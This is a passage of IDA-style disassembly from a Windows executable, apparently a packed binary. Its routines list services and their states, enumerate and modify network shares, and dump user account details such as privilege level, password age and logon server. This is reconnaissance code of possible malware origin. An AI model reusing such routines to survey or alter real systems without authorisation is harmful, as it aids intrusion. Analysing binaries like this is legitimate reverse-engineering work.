		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_416838
; ---------------------------------------------------------------------------


loc_416789:				; CODE XREF: sub_41671B+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_416838
; ---------------------------------------------------------------------------


loc_416793:				; CODE XREF: sub_41671B+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_4167C2
		dec	ecx
		jz	short loc_4167BB
		dec	ecx
		jz	short loc_4167B4
		dec	ecx
		jnz	loc_416846	; default
					; jumptable 004167ED cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_416838
; ---------------------------------------------------------------------------


loc_4167B4:				; CODE XREF: sub_41671B+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_416838
; ---------------------------------------------------------------------------


loc_4167BB:				; CODE XREF: sub_41671B+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_416838
; ---------------------------------------------------------------------------


loc_4167C2:				; CODE XREF: sub_41671B+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_416838
; ---------------------------------------------------------------------------


loc_4167C9:				; CODE XREF: sub_41671B+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_416838
; ---------------------------------------------------------------------------


loc_4167D0:				; CODE XREF: sub_41671B+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_416846 ; default
					; jumptable 004167ED cases 1,5,6,8,9,12,13,15,16
		jz	short loc_416833
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_416846 ; default
					; jumptable 004167ED cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_416887[ecx]
		jmp	off_41685F[ecx*4] ; switch jump


loc_4167F4:				; DATA XREF: .nsp0:off_41685Fo
		push	offset aTheSpecifiedDa ; jumptable 004167ED case 7
		jmp	short loc_416838
; ---------------------------------------------------------------------------


loc_4167FB:				; CODE XREF: sub_41671B+D2j
					; DATA XREF: .nsp0:off_41685Fo
		push	offset aTheServiceDepe ; jumptable 004167ED case 17
		jmp	short loc_416838
; ---------------------------------------------------------------------------


loc_416802:				; CODE XREF: sub_41671B+D2j
					; DATA XREF: .nsp0:off_41685Fo
		push	offset aTheServiceDe_0 ; jumptable 004167ED case 10
		jmp	short loc_416838
; ---------------------------------------------------------------------------


loc_416809:				; CODE XREF: sub_41671B+D2j
					; DATA XREF: .nsp0:off_41685Fo
		push	offset aTheServiceHasB ; jumptable 004167ED case 0
		jmp	short loc_416838
; ---------------------------------------------------------------------------


loc_416810:				; CODE XREF: sub_41671B+D2j
					; DATA XREF: .nsp0:off_41685Fo
		push	offset aTheSpecified_0 ; jumptable 004167ED case 2
		jmp	short loc_416838
; ---------------------------------------------------------------------------


loc_416817:				; CODE XREF: sub_41671B+D2j
					; DATA XREF: .nsp0:off_41685Fo
		push	offset aTheServiceCoul ; jumptable 004167ED case 11
		jmp	short loc_416838
; ---------------------------------------------------------------------------


loc_41681E:				; CODE XREF: sub_41671B+D2j
					; DATA XREF: .nsp0:off_41685Fo
		push	offset aTheServiceHa_0 ; jumptable 004167ED case 14
		jmp	short loc_416838
; ---------------------------------------------------------------------------


loc_416825:				; CODE XREF: sub_41671B+D2j
					; DATA XREF: .nsp0:off_41685Fo
		push	offset aTheRequested_1 ; jumptable 004167ED case 3
		jmp	short loc_416838
; ---------------------------------------------------------------------------


loc_41682C:				; CODE XREF: sub_41671B+D2j
					; DATA XREF: .nsp0:off_41685Fo
		push	offset aTheServiceHasN ; jumptable 004167ED case 4
		jmp	short loc_416838
; ---------------------------------------------------------------------------


loc_416833:				; CODE XREF: sub_41671B+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_416838:				; CODE XREF: sub_41671B+41j
					; sub_41671B+4Bj ...
		push	offset dword_4EEF0C
		call	sub_41B740
		pop	ecx
		pop	ecx
		jmp	short loc_416859
; ---------------------------------------------------------------------------


loc_416846:				; CODE XREF: sub_41671B+36j
					; sub_41671B+89j ...
		push	eax		; default
					; jumptable 004167ED cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4EEF0C
		call	sub_41B740
		add	esp, 0Ch


loc_416859:				; CODE XREF: sub_41671B+129j
		mov	eax, offset dword_4EEF0C
		retn
sub_41671B	endp

; ---------------------------------------------------------------------------
off_41685F	dd offset loc_416809	; DATA XREF: sub_41671B+D2r
		dd offset loc_416810	; jump table for switch	statement
		dd offset loc_416825
		dd offset loc_41682C
		dd offset loc_4167F4
		dd offset loc_416802
		dd offset loc_416817
		dd offset loc_41681E
		dd offset loc_4167FB
		dd offset loc_416846
byte_416887	db	0,     9,     1,     2 ; DATA XREF: sub_41671B+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416899	proc near		; CODE XREF: sub_401CC1+3D6Ap

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4E0894
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 14h


loc_4168D1:				; CODE XREF: sub_416899+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4E0864
		test	eax, eax
		jnz	short loc_41690B
		call	dword_4F1348	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_4169BF


loc_41690B:				; CODE XREF: sub_416899+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_4169B6
		lea	esi, [ebp+var_188]


loc_41691C:				; CODE XREF: sub_416899+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_416965
		dec	eax
		jz	short loc_41695E
		dec	eax
		jz	short loc_416957
		dec	eax
		jz	short loc_416950
		dec	eax
		jz	short loc_416949
		dec	eax
		jz	short loc_416942
		dec	eax
		jz	short loc_41693B
		push	offset aUnknown_2 ; "	 Unknown"
		jmp	short loc_41696A
; ---------------------------------------------------------------------------


loc_41693B:				; CODE XREF: sub_416899+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_41696A
; ---------------------------------------------------------------------------


loc_416942:				; CODE XREF: sub_416899+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_41696A
; ---------------------------------------------------------------------------


loc_416949:				; CODE XREF: sub_416899+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_41696A
; ---------------------------------------------------------------------------


loc_416950:				; CODE XREF: sub_416899+90j
		push	offset aRunning_0 ; "	 Running"
		jmp	short loc_41696A
; ---------------------------------------------------------------------------


loc_416957:				; CODE XREF: sub_416899+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_41696A
; ---------------------------------------------------------------------------


loc_41695E:				; CODE XREF: sub_416899+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_41696A
; ---------------------------------------------------------------------------


loc_416965:				; CODE XREF: sub_416899+87j
		push	offset aStopped	; "    Stopped"


loc_41696A:				; CODE XREF: sub_416899+A0j
					; sub_416899+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B740
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS_1	; "%s: %s (%s)"
		push	eax
		call	sub_41B740
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_41691C


loc_4169B6:				; CODE XREF: sub_416899+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_4168D1


loc_4169BF:				; CODE XREF: sub_416899+6Cj
		push	[ebp+var_C]
		call	dword_4E07A8
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_416899	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169D6	proc near		; CODE XREF: sub_401CC1+3E43p
					; sub_401CC1+3E5Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_416A6F
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_4169FF
		dec	eax
		jnz	short loc_416A4F
		push	edi
		push	0
		call	sub_416BA8
		pop	ecx
		pop	ecx
		jmp	short loc_416A4B
; ---------------------------------------------------------------------------


loc_4169FF:				; CODE XREF: sub_4169D6+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_416A3D
		push	24h
		push	edi
		call	sub_41C400
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_416A3D
		push	57h
		pop	eax


loc_416A16:				; CODE XREF: sub_4169D6+77j
		push	eax
		call	sub_417380
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4EF1C8
		push	off_44F730[eax*4]
		push	offset unk_44FDB8
		push	esi
		call	sub_41B740
		add	esp, 18h
		jmp	short loc_416A8F
; ---------------------------------------------------------------------------


loc_416A3D:				; CODE XREF: sub_4169D6+2Dj
					; sub_4169D6+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_416AFC
		add	esp, 0Ch


loc_416A4B:				; CODE XREF: sub_4169D6+27j
		test	eax, eax
		jnz	short loc_416A16


loc_416A4F:				; CODE XREF: sub_4169D6+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4EF1C8
		push	off_44F734[eax*4]
		push	offset dword_44FD9C
		push	esi
		call	sub_41B740
		add	esp, 10h
		jmp	short loc_416A8F
; ---------------------------------------------------------------------------


loc_416A6F:				; CODE XREF: sub_4169D6+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4EF1C8
		lea	eax, [eax+eax*2]
		push	off_44F730[eax*4]
		push	offset unk_44FDE4
		push	esi
		call	sub_41B740
		add	esp, 0Ch


loc_416A8F:				; CODE XREF: sub_4169D6+65j
					; sub_4169D6+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4169D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_416A95	proc near		; CODE XREF: sub_417DB1+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_416AA2
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_416AA2:				; CODE XREF: sub_416A95+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_4F141C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte_4EF3C8, 1
		mov	ebp, eax
		jnz	short loc_416ADF
		or	byte_4EF3C8, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41D910
		pop	ecx
		mov	dword_4EF168, eax


loc_416ADF:				; CODE XREF: sub_416A95+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4EF168
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_4EF168
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_416A95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416AFC	proc near		; CODE XREF: sub_4169D6+6Dp
					; sub_4180D5+184p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_416B67
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_416B67
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41C400
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_416B67
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4E07A4
		pop	edi
		leave
		retn
sub_416AFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_416B67	proc near		; CODE XREF: sub_416AFC+Ap
					; sub_416AFC+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_416B74
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_416B74:				; CODE XREF: sub_416B67+9j
		push	ebx
		push	esi
		mov	esi, dword_4F1420
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41D910
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_416B67	endp


; =============== S U B	R O U T	I N E =======================================



sub_416BA8	proc near		; CODE XREF: sub_4169D6+20p
					; sub_417DB1+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_416B67
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_416B67
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4E0780
		pop	esi
		retn
sub_416BA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BCB	proc near		; CODE XREF: sub_401CC1+3E87p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_416B67
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 18h


loc_416C04:				; CODE XREF: sub_416BCB+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4E07F4
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_416C67
		cmp	ebx, 0EAh
		jz	short loc_416C67
		push	ebx
		push	ebx
		call	sub_417380
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_44FE60
		push	eax
		call	sub_41B740
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 24h
		jmp	short loc_416CD4
; ---------------------------------------------------------------------------


loc_416C67:				; CODE XREF: sub_416BCB+5Dj
					; sub_416BCB+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_416CCB
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_416C75:				; CODE XREF: sub_416BCB+FCj
		push	dword ptr [esi+10h]
		call	dword_4E0798
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_416C8C
		mov	eax, offset aNo	; "No"


loc_416C8C:				; CODE XREF: sub_416BCB+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B740
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EB9
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_416C75
		xor	esi, esi


loc_416CCB:				; CODE XREF: sub_416BCB+A2j
		push	[ebp+var_4]
		call	dword_4E092C


loc_416CD4:				; CODE XREF: sub_416BCB+9Aj
		cmp	ebx, 0EAh
		jz	loc_416C04
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_416BCB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CEC	proc near		; CODE XREF: sub_401CC1+3EDBp
					; sub_401CC1+3F02p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_416D90
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_416D2E
		dec	eax
		jz	short loc_416D23
		dec	eax
		jnz	short loc_416D49
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_416E32
		add	esp, 14h
		jmp	short loc_416D45
; ---------------------------------------------------------------------------


loc_416D23:				; CODE XREF: sub_416CEC+1Dj
		push	ebx
		push	edi
		call	sub_416E11
		pop	ecx
		pop	ecx
		jmp	short loc_416D45
; ---------------------------------------------------------------------------


loc_416D2E:				; CODE XREF: sub_416CEC+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_416D42
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_416DB7
		add	esp, 0Ch
		jmp	short loc_416D45
; ---------------------------------------------------------------------------


loc_416D42:				; CODE XREF: sub_416CEC+45j
		push	57h
		pop	eax


loc_416D45:				; CODE XREF: sub_416CEC+35j
					; sub_416CEC+40j ...
		cmp	eax, edi
		jnz	short loc_416D69


loc_416D49:				; CODE XREF: sub_416CEC+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4EF3CC
		push	off_44F734[eax*4]
		push	offset unk_44FE88
		push	esi
		call	sub_41B740
		add	esp, 10h
		jmp	short loc_416DB0
; ---------------------------------------------------------------------------


loc_416D69:				; CODE XREF: sub_416CEC+5Bj
		push	eax
		call	sub_417380
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4EF3CC
		push	off_44F730[eax*4]
		push	offset unk_44FEA8
		push	esi
		call	sub_41B740
		add	esp, 18h
		jmp	short loc_416DB0
; ---------------------------------------------------------------------------


loc_416D90:				; CODE XREF: sub_416CEC+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4EF3CC
		lea	eax, [eax+eax*2]
		push	off_44F730[eax*4]
		push	offset unk_44FED8
		push	esi
		call	sub_41B740
		add	esp, 0Ch


loc_416DB0:				; CODE XREF: sub_416CEC+7Bj
					; sub_416CEC+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_416CEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416DB7	proc near		; CODE XREF: sub_416CEC+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_416B67
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_416B67
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_416B67
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4E0788
		pop	edi
		leave
		retn
sub_416DB7	endp


; =============== S U B	R O U T	I N E =======================================



sub_416E11	proc near		; CODE XREF: sub_416CEC+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_416B67
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_416B67
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4E077C
		pop	esi
		retn
sub_416E11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E32	proc near		; CODE XREF: sub_416CEC+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_416B67
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_416B67
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4E08F4
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_4171BF
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4171FA
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B740
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408EB9
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B740
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408EB9
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B740
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408EB9
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B740
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408EB9
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_416F4B
		dec	eax
		jz	short loc_416F44
		dec	eax
		jz	short loc_416F3D
		mov	eax, offset aUnknown_0 ; "Unknown"
		jmp	short loc_416F50
; ---------------------------------------------------------------------------


loc_416F3D:				; CODE XREF: sub_416E32+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_416F50
; ---------------------------------------------------------------------------


loc_416F44:				; CODE XREF: sub_416E32+FFj
		mov	eax, offset aUser_2 ; "User"
		jmp	short loc_416F50
; ---------------------------------------------------------------------------


loc_416F4B:				; CODE XREF: sub_416E32+FCj
		mov	eax, offset aGuest ; "Guest"


loc_416F50:				; CODE XREF: sub_416E32+109j
					; sub_416E32+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B740
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408EB9
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B740
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408EB9
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B740
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408EB9
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B740
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408EB9
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B740
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408EB9
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B740
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408EB9
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B740
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408EB9
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B740
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408EB9
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B740
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408EB9
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B740
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408EB9
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B740
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408EB9
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B740
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408EB9
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B740
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408EB9
